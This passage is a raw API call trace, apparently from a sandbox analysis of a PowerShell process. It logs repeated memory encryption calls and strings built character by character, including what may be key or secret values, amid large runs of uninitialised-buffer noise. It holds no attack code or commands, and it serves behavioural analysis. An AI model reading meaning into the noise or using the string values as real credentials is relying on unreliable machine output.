(param_1="푂⅓䶞娡ᓹ\뗘陂퀙切仪鎠ᡫꋎ㰍ꆱꉮ㇝游跐浸ꭁ븘꡼䭡矚ꀡ㸅⍁謖륒㱁ᘈ漸㪧⋔) returned 0x28 [0203.506] SystemFunction041 (in: Memory=0x5c91a0c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91a0c) returned 0x0 [0203.506] SysStringLen (param_1="XotVORH60ITuM1i0NiWFF9SAvqpKZzbtTpmVꪘ돟㉍\⋛) returned 0x28 [0203.506] SystemFunction040 (in: Memory=0x5c91a0c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91a0c) returned 0x0 [0203.506] SysStringLen (param_1="푂⅓䶞娡ᓹ\뗘陂퀙切仪鎠ᡫꋎ㰍ꆱꉮ㇝游跐浸ꭁ븘꡼䭡矚ꀡ㸅⍁漖੥ꓖ딂湡ᙥ⃵菵⊏) returned 0x28 [0203.506] SysStringLen (param_1="푂⅓䶞娡ᓹ\뗘陂퀙切仪鎠ᡫꋎ㰍ꆱꉮ㇝游跐浸ꭁ븘꡼䭡矚ꀡ㸅⍁漖੥ꓖ딂湡ᙥ⃵菵⊏) returned 0x28 [0203.506] SystemFunction041 (in: Memory=0x5c91a0c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91a0c) returned 0x0 [0203.506] SysStringLen (param_1="XotVORH60ITuM1i0NiWFF9SAvqpKZzbtTpmVh돟㉍\⋛) returned 0x28 [0203.506] SystemFunction040 (in: Memory=0x5c91a0c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91a0c) returned 0x0 [0203.507] SysStringLen (param_1="푂⅓䶞娡ᓹ\뗘陂퀙切仪鎠ᡫꋎ㰍ꆱꉮ㇝游跐浸ꭁ븘꡼䭡矚ꀡ㸅⍁됖⩃蘠䋈㯾읷ꮈ懂⊃) returned 0x28 [0203.507] SysStringLen (param_1="푂⅓䶞娡ᓹ\뗘陂퀙切仪鎠ᡫꋎ㰍ꆱꉮ㇝游跐浸ꭁ븘꡼䭡矚ꀡ㸅⍁됖⩃蘠䋈㯾읷ꮈ懂⊃) returned 0x28 [0203.507] SystemFunction041 (in: Memory=0x5c91a0c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91a0c) returned 0x0 [0203.507] SysStringLen (param_1="XotVORH60ITuM1i0NiWFF9SAvqpKZzbtTpmVhd㉍\⋛) returned 0x28 [0203.507] SystemFunction040 (in: Memory=0x5c91a0c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91a0c) returned 0x0 [0203.507] SysStringLen (param_1="푂⅓䶞娡ᓹ\뗘陂퀙切仪鎠ᡫꋎ㰍ꆱꉮ㇝游跐浸ꭁ븘꡼䭡矚ꀡ㸅⍁ܖѿ䒤䓅꒳┬ꢬ酪⋍) returned 0x28 [0203.507] SysStringLen (param_1="푂⅓䶞娡ᓹ\뗘陂퀙切仪鎠ᡫꋎ㰍ꆱꉮ㇝游跐浸ꭁ븘꡼䭡矚ꀡ㸅⍁ܖѿ䒤䓅꒳┬ꢬ酪⋍) returned 0x28 [0203.507] SystemFunction041 (in: Memory=0x5c91a0c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91a0c) returned 0x0 [0203.507] SysStringLen (param_1="XotVORH60ITuM1i0NiWFF9SAvqpKZzbtTpmVhdF\⋛) returned 0x28 [0203.507] SystemFunction040 (in: Memory=0x5c91a0c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91a0c) returned 0x0 [0203.507] SysStringLen (param_1="푂⅓䶞娡ᓹ\뗘陂퀙切仪鎠ᡫꋎ㰍ꆱꉮ㇝游跐浸ꭁ븘꡼䭡矚ꀡ㸅⍁漖阛都褟X阝Ḛ少≸) returned 0x28 [0203.507] SysStringLen (param_1="푂⅓䶞娡ᓹ\뗘陂퀙切仪鎠ᡫꋎ㰍ꆱꉮ㇝游跐浸ꭁ븘꡼䭡矚ꀡ㸅⍁漖阛都褟X阝Ḛ少≸) returned 0x28 [0203.507] SystemFunction041 (in: Memory=0x5c91a0c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91a0c) returned 0x0 [0203.507] SysStringLen (param_1="XotVORH60ITuM1i0NiWFF9SAvqpKZzbtTpmVhdFW") returned 0x28 [0203.507] SystemFunction040 (in: Memory=0x5c91a0c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91a0c) returned 0x0 [0203.507] SysStringLen (param_1="푂⅓䶞娡ᓹ\뗘陂퀙切仪鎠ᡫꋎ㰍ꆱꉮ㇝游跐浸ꭁ븘꡼䭡矚ꀡ㸅⍁化ʲʅ\覊韕㉜恊") returned 0x28 [0203.508] SysStringLen (param_1="푂⅓䶞娡ᓹ\뗘陂퀙切仪鎠ᡫꋎ㰍ꆱꉮ㇝游跐浸ꭁ븘꡼䭡矚ꀡ㸅⍁化ʲʅ\覊韕㉜恊") returned 0x28 [0203.508] SysStringLen (param_1="푂⅓䶞娡ᓹ\뗘陂퀙切仪鎠ᡫꋎ㰍ꆱꉮ㇝游跐浸ꭁ븘꡼䭡矚ꀡ㸅⍁化ʲʅ\覊韕㉜恊") returned 0x28 [0203.508] SysStringLen (param_1="푂⅓䶞娡ᓹ\뗘陂퀙切仪鎠ᡫꋎ㰍ꆱꉮ㇝游跐浸ꭁ븘꡼䭡矚ꀡ㸅⍁化ʲʅ\覊韕㉜恊") returned 0x30 [0203.508] SystemFunction041 (in: Memory=0x3da2c4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da2c4) returned 0x0 [0203.508] SysStringLen (param_1="XotVORH60ITuM1i0NiWFF9SAvqpKZzbtTpmVhdFWx붗ᙫ儔ɥ↪䄯굱") returned 0x30 [0203.508] SystemFunction040 (in: Memory=0x3da2c4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da2c4) returned 0x0 [0203.508] SysStringLen (param_1="푂⅓䶞娡ᓹ\뗘陂퀙切仪鎠ᡫꋎ㰍ꆱꉮ㇝游跐浸ꭁ븘꡼䭡矚ꀡ㸅⍁化ʲʅ\覊韕㉜恊㷤⬏ⴓ૕銈踄⒘濮") returned 0x30 [0203.508] SysStringLen (param_1="푂⅓䶞娡ᓹ\뗘陂퀙切仪鎠ᡫꋎ㰍ꆱꉮ㇝游跐浸ꭁ븘꡼䭡矚ꀡ㸅⍁化ʲʅ\覊韕㉜恊㷤⬏ⴓ૕銈踄⒘濮") returned 0x30 [0203.508] SystemFunction041 (in: Memory=0x3da2c4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da2c4) returned 0x0 [0203.508] SysStringLen (param_1="XotVORH60ITuM1i0NiWFF9SAvqpKZzbtTpmVhdFWxDᙫ儔ɥ↪䄯굱") returned 0x30 [0203.508] SystemFunction040 (in: Memory=0x3da2c4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da2c4) returned 0x0 [0203.508] SysStringLen (param_1="푂⅓䶞娡ᓹ\뗘陂퀙切仪鎠ᡫꋎ㰍ꆱꉮ㇝游跐浸ꭁ븘꡼䭡矚ꀡ㸅⍁化ʲʅ\覊韕㉜恊ἳﭰ볎﨎㻘鵐䵕") returned 0x30 [0203.508] SysStringLen (param_1="푂⅓䶞娡ᓹ\뗘陂퀙切仪鎠ᡫꋎ㰍ꆱꉮ㇝游跐浸ꭁ븘꡼䭡矚ꀡ㸅⍁化ʲʅ\覊韕㉜恊ἳﭰ볎﨎㻘鵐䵕") returned 0x30 [0203.508] SystemFunction041 (in: Memory=0x3da2c4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da2c4) returned 0x0 [0203.509] SysStringLen (param_1="XotVORH60ITuM1i0NiWFF9SAvqpKZzbtTpmVhdFWxDs儔ɥ↪䄯굱") returned 0x30 [0203.509] SystemFunction040 (in: Memory=0x3da2c4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da2c4) returned 0x0 [0203.509] SysStringLen (param_1="푂⅓䶞娡ᓹ\뗘陂퀙切仪鎠ᡫꋎ㰍ꆱꉮ㇝游跐浸ꭁ븘꡼䭡矚ꀡ㸅⍁化ʲʅ\覊韕㉜恊켯⩈托坺Ӎ㙴࡭΅") returned 0x30 [0203.509] SysStringLen (param_1="푂⅓䶞娡ᓹ\뗘陂퀙切仪鎠ᡫꋎ㰍ꆱꉮ㇝游跐浸ꭁ븘꡼䭡矚ꀡ㸅⍁化ʲʅ\覊韕㉜恊켯⩈托坺Ӎ㙴࡭΅") returned 0x30 [0203.509] SystemFunction041 (in: Memory=0x3da2c4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da2c4) returned 0x0 [0203.509] SysStringLen (param_1="XotVORH60ITuM1i0NiWFF9SAvqpKZzbtTpmVhdFWxDs=ɥ↪䄯굱") returned 0x30 [0203.509] SystemFunction040 (in: Memory=0x3da2c4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da2c4) returned 0x0 [0203.509] EtwEventActivityIdControl () returned 0x0 [0203.510] EtwEventActivityIdControl () returned 0x0 [0203.510] EtwEventActivityIdControl () returned 0x0 [0203.512] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e690, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0203.513] EtwEventActivityIdControl () returned 0x0 [0203.513] EtwEventActivityIdControl () returned 0x0 [0203.513] EtwEventActivityIdControl () returned 0x0 [0203.514] SysStringLen (param_1="") returned 0x8 [0203.514] SysStringLen (param_1="N") returned 0x8 [0203.514] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0203.514] SysStringLen (param_1="呿쪽콒뭠搎㢩撟ಟ") returned 0x8 [0203.514] SysStringLen (param_1="呿쪽콒뭠搎㢩撟ಟ") returned 0x8 [0203.514] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0203.515] SysStringLen (param_1="ND") returned 0x8 [0203.515] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0203.515] SysStringLen (param_1="驻핊껁䶴熈甂") returned 0x8 [0203.515] SysStringLen (param_1="驻핊껁䶴熈甂") returned 0x8 [0203.515] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0203.515] SysStringLen (param_1="NDZ") returned 0x8 [0203.515] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0203.515] SysStringLen (param_1="椘鷷披䆔ᅋ䉃㖶") returned 0x8 [0203.515] SysStringLen (param_1="椘鷷披䆔ᅋ䉃㖶") returned 0x8 [0203.515] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0203.515] SysStringLen (param_1="NDZl") returned 0x8 [0203.515] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0203.515] SysStringLen (param_1="鮒뼊붳叽ᄳ봯쓖\⋜) returned 0x8 [0203.515] SysStringLen (param_1="鮒뼊붳叽ᄳ봯쓖\⋜) returned 0x8 [0203.515] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0203.516] SysStringLen (param_1="NDZlO") returned 0x8 [0203.516] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0203.516] SysStringLen (param_1="쭈࢔쀜䧢橃DZ") returned 0x8 [0203.516] SysStringLen (param_1="쭈࢔쀜䧢橃DZ") returned 0x8 [0203.516] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0203.516] SysStringLen (param_1="NDZlOD") returned 0x8 [0203.516] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0203.516] SysStringLen (param_1="￠⎊酫졛㍫搘误") returned 0x8 [0203.516] SysStringLen (param_1="￠⎊酫졛㍫搘误") returned 0x8 [0203.516] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0203.516] SysStringLen (param_1="NDZlODR") returned 0x8 [0203.516] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0203.516] SysStringLen (param_1="ἷ䆣ƭ靴ﮦ빎⻺䯵") returned 0x8 [0203.516] SysStringLen (param_1="ἷ䆣ƭ靴ﮦ빎⻺䯵") returned 0x8 [0203.516] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0203.517] SysStringLen (param_1="NDZlODRm") returned 0x8 [0203.517] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0203.517] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x8 [0203.517] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x8 [0203.517] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x8 [0203.517] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x10 [0203.517] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0203.517] SysStringLen (param_1="NDZlODRmY뮇펬᠚࣢ᣆ㬞勉") returned 0x10 [0203.517] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0203.517] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈ິ퇒䄣䝰尫붌丒") returned 0x10 [0203.517] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈ິ퇒䄣䝰尫붌丒") returned 0x10 [0203.517] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0203.518] SysStringLen (param_1="NDZlODRmYz펬᠚࣢ᣆ㬞勉") returned 0x10 [0203.518] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0203.518] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뷰鱙켜쐠渂ጙ") returned 0x10 [0203.518] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뷰鱙켜쐠渂ጙ") returned 0x10 [0203.518] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0203.518] SysStringLen (param_1="NDZlODRmYzN᠚࣢ᣆ㬞勉") returned 0x10 [0203.518] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0203.518] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈切淿⳸㷨ⷻ彍굸") returned 0x10 [0203.518] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈切淿⳸㷨ⷻ彍굸") returned 0x10 [0203.518] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0203.518] SysStringLen (param_1="NDZlODRmYzNl࣢ᣆ㬞勉") returned 0x10 [0203.518] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0203.518] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈\⣙ᖳಊ垵ỽ뒡ऺ∭) returned 0x10 [0203.518] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈\⣙ᖳಊ垵ỽ뒡ऺ∭) returned 0x10 [0203.518] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0203.519] SysStringLen (param_1="NDZlODRmYzNlYᣆ㬞勉") returned 0x10 [0203.519] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0203.519] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뜤翜佹诞夋ヵ秭㑲") returned 0x10 [0203.519] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뜤翜佹诞夋ヵ秭㑲") returned 0x10 [0203.519] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0203.519] SysStringLen (param_1="NDZlODRmYzNlYT㬞勉") returned 0x10 [0203.519] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0203.519] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뽮昊\槛ጔᰆ崣⋀) returned 0x10 [0203.519] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뽮昊\槛ጔᰆ崣⋀) returned 0x10 [0203.519] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0203.519] SysStringLen (param_1="NDZlODRmYzNlYTJ勉") returned 0x10 [0203.519] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0203.519] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈콨鄪䴳ꘘ₿㳻섖") returned 0x10 [0203.519] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈콨鄪䴳ꘘ₿㳻섖") returned 0x10 [0203.519] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0203.519] SysStringLen (param_1="NDZlODRmYzNlYTJh") returned 0x10 [0203.519] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0203.520] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x10 [0203.520] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x10 [0203.520] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x10 [0203.520] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x18 [0203.520] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0203.520] SysStringLen (param_1="NDZlODRmYzNlYTJhM虵亅㸱멷嘇ꚺ") returned 0x18 [0203.520] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0203.520] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ʹℭ䠲鵊퇱े") returned 0x18 [0203.520] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ʹℭ䠲鵊퇱े") returned 0x18 [0203.520] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0203.520] SysStringLen (param_1="NDZlODRmYzNlYTJhMD亅㸱멷嘇ꚺ") returned 0x18 [0203.520] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0203.521] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴뮼ᖽꜥॆ칖䝉") returned 0x18 [0203.521] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴뮼ᖽꜥॆ칖䝉") returned 0x18 [0203.521] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0203.521] SysStringLen (param_1="NDZlODRmYzNlYTJhMDF㸱멷嘇ꚺ") returned 0x18 [0203.521] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0203.521] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴퉢麻齟౬缍幠呌") returned 0x18 [0203.521] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴퉢麻齟౬缍幠呌") returned 0x18 [0203.521] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0203.521] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFl멷嘇ꚺ") returned 0x18 [0203.521] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0203.521] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ራ䃳ꂺⱿ쑪") returned 0x18 [0203.521] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ራ䃳ꂺⱿ쑪") returned 0x18 [0203.521] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0203.521] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlM嘇ꚺ") returned 0x18 [0203.521] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0203.521] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴䉌龢ʦ樞䍳ሐṪ") returned 0x18 [0203.522] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴䉌龢ʦ樞䍳ሐṪ") returned 0x18 [0203.522] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0203.522] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTꚺ") returned 0x18 [0203.522] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0203.522] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴⭝\⻚﻾沞쀩饒⋐) returned 0x18 [0203.522] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴⭝\⻚﻾沞쀩饒⋐) returned 0x18 [0203.522] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0203.522] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTU") returned 0x18 [0203.522] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0203.522] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ꗛ⾪蒷᪻릿ู찲鞃") returned 0x18 [0203.522] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ꗛ⾪蒷᪻릿ู찲鞃") returned 0x18 [0203.522] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0203.522] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUw") returned 0x18 [0203.522] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0203.522] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x18 [0203.523] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x18 [0203.523] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x18 [0203.523] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x20 [0203.523] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0203.523] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZㄵ㋛仄杫ℂ︸饉") returned 0x20 [0203.523] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0203.523] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲铩퀩峹闓郮\⋛) returned 0x20 [0203.523] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲铩퀩峹闓郮\⋛) returned 0x20 [0203.523] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0203.523] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZD㋛仄杫ℂ︸饉") returned 0x20 [0203.523] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0203.523] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲ᤓ⭤釋径ẖ") returned 0x20 [0203.523] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲ᤓ⭤釋径ẖ") returned 0x20 [0203.523] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0203.524] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE仄杫ℂ︸饉") returned 0x20 [0203.524] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0203.524] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲俫箙덵ꀓ솑ￛ罺኿") returned 0x20 [0203.524] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲俫箙덵ꀓ솑ￛ罺኿") returned 0x20 [0203.524] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0203.524] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3杫ℂ︸饉") returned 0x20 [0203.524] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0203.524] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲复⿉ﵺ彺㇍㞇㑜岔") returned 0x20 [0203.524] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲复⿉ﵺ彺㇍㞇㑜岔") returned 0x20 [0203.524] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0203.524] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yℂ︸饉") returned 0x20 [0203.524] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0203.524] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲⸸䟷ᖃח⡙\꽉⊏) returned 0x20 [0203.524] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲⸸䟷ᖃח⡙\꽉⊏) returned 0x20 [0203.524] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0203.524] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yz︸饉") returned 0x20 [0203.525] SystemFunction040 (in: Memory=0x32ce8c, 